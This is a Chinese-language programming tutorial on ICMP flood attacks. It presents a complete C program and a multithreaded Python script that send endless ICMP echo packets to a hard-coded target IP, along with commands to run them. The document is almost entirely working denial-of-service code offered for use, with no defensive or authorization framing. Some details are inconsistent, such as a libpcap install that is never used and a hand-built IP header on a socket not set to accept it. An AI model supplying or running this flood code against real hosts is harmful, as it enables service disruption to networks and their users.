Linux编程之ICMP洪水攻击

ICMP洪水攻击是一种利用大量ICMP数据包使目标主机网络资源占用充足而导致服务不可用的攻击方式。在Linux系统中使用C语言编写程序实现ICMP洪水攻击主要包含以下步骤：

1. 准备工作

首先需要安装libpcap开发环境，libpcap提供了底层操作网络数据包的接口。在Ubuntu上，可以通过下面的命令安装：

sudo apt-get install libpcap0.8-dev

2. 编写程序

下面是一个简单的C语言程序，它可以向目标主机发送大量的ICMP数据包：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

// 目标IP地址
char targetIP[] = "192.168.1.100";
// ICMP数据包大小
int icmpSize = 32;
// 发送间隔时间（微秒）
int sleepTime = 10000;

// 计算校验和的函数
unsigned short calCheckSum(unsigned short *addr, int len)
{
    unsigned long sum = 0;
    while (len > 1) {
        sum += *addr++;
        len -= 2;
    }

    if (len == 1) {
        sum += *((unsigned char*) addr);
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short) (~sum);
}

int main()
{
    // 创建原始套接字
    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sockfd < 0) {
        printf("Unable to create socket.\n");
        return -1;
    }

    char packet[65536], *ptr = packet;
    struct iphdr *ip = (struct iphdr*) packet;
    struct icmphdr *icmp = (struct icmphdr*) (packet + sizeof(struct iphdr));
    struct sockaddr_in dest;

    // IP报文头部填充
    dest.sin_family = AF_INET;
    dest.sin_port = 0;
    dest.sin_addr.s_addr = inet_addr(targetIP);

    // ICMP报文头部填充
    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->checksum = 0;
    icmp->un.echo.id = getpid();
    memset(ptr + sizeof(struct iphdr) + sizeof(struct icmphdr), 'A', icmpSize);

    // 发送ICMP数据包
    while (1) {
        // IP报文头部填充
        ip->version = 4;
        ip->ihl = 5;
        ip->tos = 0;
        ip->ttl = 255;
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr) + icmpSize;
        ip->id = htons(getpid());
        ip->frag_off = 0;
        ip->protocol = IPPROTO_ICMP;
        ip->saddr = 0;
        ip->daddr = dest.sin_addr.s_addr;
        ip->check = calCheckSum((unsigned short*) ip, sizeof(struct iphdr));

        // ICMP报文头部填充
        icmp->checksum = 0;
        icmp->checksum = calCheckSum((unsigned short*) icmp,
                sizeof(struct icmphdr) + icmpSize);

        // 发送到目标主机
        sendto(sockfd, packet, ip->tot_len, 0,
                (struct sockaddr*) &dest, sizeof(struct sockaddr));

        // 指定时间间隔
        usleep(sleepTime);
    }
}

在程序中，首先创建一个原始套接字，然后将IP报文头部和ICMP报文头部填充好，最后在一个死循环中不停地发送ICMP数据包。

3. 代码分析

在程序中，我们定义了以下几个变量：

• targetIP：目标主机的IP地址
• icmpSize：每个ICMP数据包的大小
• sleepTime：每个ICMP数据包之间的时间间隔

程序的主要部分是一个while循环，其中首先填充好IP报文头部和ICMP报文头部，然后计算校验和，并发送到目标主机。每次发送完成后，程序会等待sleepTime微秒。

示例1

下面是一个示例，展示了如何使用上面的程序对某个IP地址进行ICMP洪水攻击。假设目标主机的IP地址是192.168.1.100，每个ICMP数据包的大小是32字节，发送间隔为10毫秒，可以使用以下命令运行程序：

sudo ./icmpflood

示例2

下面是另一个示例，展示了如何使用Python脚本对某个IP地址进行ICMP洪水攻击。假设目标主机的IP地址是192.168.1.100，每个ICMP数据包的大小是32字节，发送间隔为10毫秒，可以使用以下Python脚本运行攻击：

import os
import random
import socket
import struct
import sys
import threading
import time

target_ip = "192.168.1.100"
icmp_size = 32
sleep_time = 0.01

def calculate_checksum(data):
    if len(data) % 2:
        data += b'\0'
    words = struct.unpack('!{}H'.format(len(data)//2), data)
    total = sum(words)
    return (~total) & 0xffff

def send_icmp():
    with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as sock:
        while True:
            packet_id = os.getpid()
            packet_sequence = random.randint(0, 65535)
            packet_checksum = 0
            packet_data = b'A'*icmp_size
            packet_checksum = calculate_checksum(struct.pack('!BBHHH32s', 8, 0, 0, packet_id, packet_sequence, packet_data))
            packet = struct.pack('!BBHHH32s', 8, 0, packet_checksum, packet_id, packet_sequence, packet_data)
            sock.sendto(packet, (target_ip, 0))

            time.sleep(sleep_time)

for _ in range(10):
    threading.Thread(target=send_icmp).start()

在脚本中，我们定义了以下几个变量：

• target_ip：目标主机的IP地址
• icmp_size：每个ICMP数据包的大小
• sleep_time：每个ICMP数据包之间的时间间隔

程序的主要部分是一个线程函数send_icmp，其中首先生成一个随机的icmp_sequence号，然后填充好ICMP报文头部，并计算校验和，最后发送数据包到目标主机。每个线程都会不停地执行send_icmp函数，从而模拟出大量的ICMP数据包发送到目标主机。可以通过更改最后一行的参数来调整启动的线程数。